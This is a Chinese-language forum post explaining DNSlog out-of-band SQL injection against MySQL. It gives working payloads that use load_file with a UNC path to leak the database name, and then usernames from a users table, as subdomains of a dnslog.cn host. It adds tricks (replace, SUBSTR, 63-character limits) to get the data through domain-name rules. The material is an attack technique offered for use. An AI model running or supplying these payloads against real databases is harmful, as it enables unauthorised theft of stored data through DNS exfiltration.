电脑疯子技术论坛|电脑极客社区

微信扫一扫 分享朋友圈

已有 2540 人浏览分享

DNSlog注入详细解析

[复制链接]
2540 0
DNSlog注入语句
select load_file(concat('\\\\',(select database()),'.gitw7c.dnslog.cn/abc'));

//转换之后的结果为:\\security.gitw7c.dnslog.cn
原理是load_file通过请求security.gitw7c.dnslog.cn下的/abc文件时留下dns解析记录来获取信息的。

域名知识:

域名可以分为5级 从右向左解析 用 分割级别 低级别的域名要在高级别的域名中去解析 所以当security.gitw7c.dnslog.cn
去gitw7c.dnslog.cn中去解析的时候 就会留下解析记录 通过获取前来解析的低级域名前缀来获取我们需要的信息
由于每一级域名的长度只能为63个字符 所以在mysql中获取到超过63个字节的字符时 会被当作一个错误的域名不会产生
去解析的动作,所以gitw7c.dnslog.cn也不会收到解析的记录 所以我们就获取不到想要的信息了。

QQ截图20210601164655.png

域名里有一个规则 只能出现数字 字母 下划线;所以在获取到的信息中包含了其他特殊符号时load_file
就会认为是一个错误的域名 就不会去从网络中解析了。

如:

QQ截图20210601164809.png

当前我的数据库名为security 是以字母开头的 在域名规则内是允许的 所以load_file会向域名进行解析

29.png

sql payload

当我在域名中拼接一个@符号时 就不会进行解析

28.png
26.png

也就不会有解析记录

我们在使用group_concat合并查询时 会自动使用 "," 连接我们查询到的每值 但是由于 在url中是
不允许出现的所以使用group查询到的值去解析时候 mysql就会认为这不是一个url地址,就不会
出现解析的操作,所以就没法获取到值。

12.png

最佳方案

不过事情总是有解决的办法的 通过我不断地构造语句 之后使用replacesubstr
等函数 成功绕过了url解析的问题

如:
select load_file(concat('\\\\',(select SUBSTR(replace((group_concat(username )),',','_'),1,6
3) from users),'.qnpqsu.dnslog.cn/abc'))

通过正则替换将replace中的 “ ,”全部替换为 “ _ ” 这样就可以符合url的解析规则了并且
我们只需要将查询结果的字符长度控制在63个就可以了.

如图:

11.png

3.png

您需要登录后才可以回帖 登录 | 注册

本版积分规则

1

关注

0

粉丝

9021

主题
精彩推荐
热门资讯
网友晒图
图文推荐

Powered by Pcgho! X3.4

© 2008-2022 Pcgho Inc.